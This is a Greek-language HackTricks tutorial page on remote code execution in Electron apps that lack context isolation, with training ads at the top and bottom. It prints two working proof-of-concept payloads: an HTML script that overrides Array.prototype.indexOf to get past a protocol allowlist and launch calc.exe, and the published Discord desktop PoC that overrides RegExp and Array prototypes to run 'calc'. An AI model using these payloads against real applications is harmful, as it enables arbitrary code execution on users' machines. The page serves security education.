Electron contextIsolation RCE μέσω κώδικα preload

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Παράδειγμα 1

Παράδειγμα από https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Αυτός ο κώδικας ανοίγει http(s) συνδέσμους με τον προεπιλεγμένο περιηγητή:

Κάτι σαν file:///C:/Windows/systemd32/calc.exe θα μπορούσε να χρησιμοποιηθεί για να εκτελέσει μια αριθμομηχανή, το SAFE_PROTOCOLS.indexOf το αποτρέπει.

Επομένως, ένας επιτιθέμενος θα μπορούσε να εισάγει αυτόν τον κώδικα JS μέσω XSS ή αυθαίρετης πλοήγησης σε σελίδα:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

Καθώς η κλήση στο SAFE_PROTOCOLS.indexOf θα επιστρέφει πάντα 1337, ο επιτιθέμενος μπορεί να παρακάμψει την προστασία και να εκτελέσει το calc. Τελική εκμετάλλευση:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Ελέγξτε τις αρχικές διαφάνειες για άλλους τρόπους εκτέλεσης προγραμμάτων χωρίς να υπάρχει προτροπή για άδειες.

Φαίνεται ότι ένας άλλος τρόπος για να φορτώσετε και να εκτελέσετε κώδικα είναι να αποκτήσετε πρόσβαση σε κάτι όπως file://127.0.0.1/electron/rce.jar

Παράδειγμα 2: RCE της εφαρμογής Discord

Παράδειγμα από https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Όταν έλεγξα τα preload scripts, διαπίστωσα ότι το Discord εκθέτει τη λειτουργία, η οποία επιτρέπει σε ορισμένα επιτρεπόμενα modules να καλούνται μέσω DiscordNative.nativeModules.requireModule('MODULE-NAME'), στη σελίδα web.
Εδώ, δεν μπορούσα να χρησιμοποιήσω modules που μπορούν να χρησιμοποιηθούν για RCE απευθείας, όπως το child_process module, αλλά βρήκα έναν κώδικα όπου μπορεί να επιτευχθεί RCE παρακάμπτοντας τις ενσωματωμένες μεθόδους JavaScript και παρεμβαίνοντας στην εκτέλεση του εκτεθειμένου module.

Ακολουθεί το PoC. Μπόρεσα να επιβεβαιώσω ότι η εφαρμογή calc εμφανίζεται όταν καλώ τη λειτουργία getGPUDriverVersions που ορίζεται στο module που ονομάζεται "discord_utils" από τα devTools, ενώ παρακάμπτω το RegExp.prototype.test και το Array.prototype.join.

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

Η συνάρτηση getGPUDriverVersions προσπαθεί να εκτελέσει το πρόγραμμα χρησιμοποιώντας τη βιβλιοθήκη "execa", όπως το εξής:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

Συνήθως, το execa προσπαθεί να εκτελέσει το "nvidia-smi.exe", το οποίο καθορίζεται στη μεταβλητή nvidiaSmiPath, ωστόσο, λόγω της υπερκαθορισμένης RegExp.prototype.test και Array.prototype.join, το επιχείρημα αντικαθίσταται με "calc" στην εσωτερική επεξεργασία του _execa_**.

Συγκεκριμένα, το επιχείρημα αντικαθίσταται αλλάζοντας τα παρακάτω δύο μέρη.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks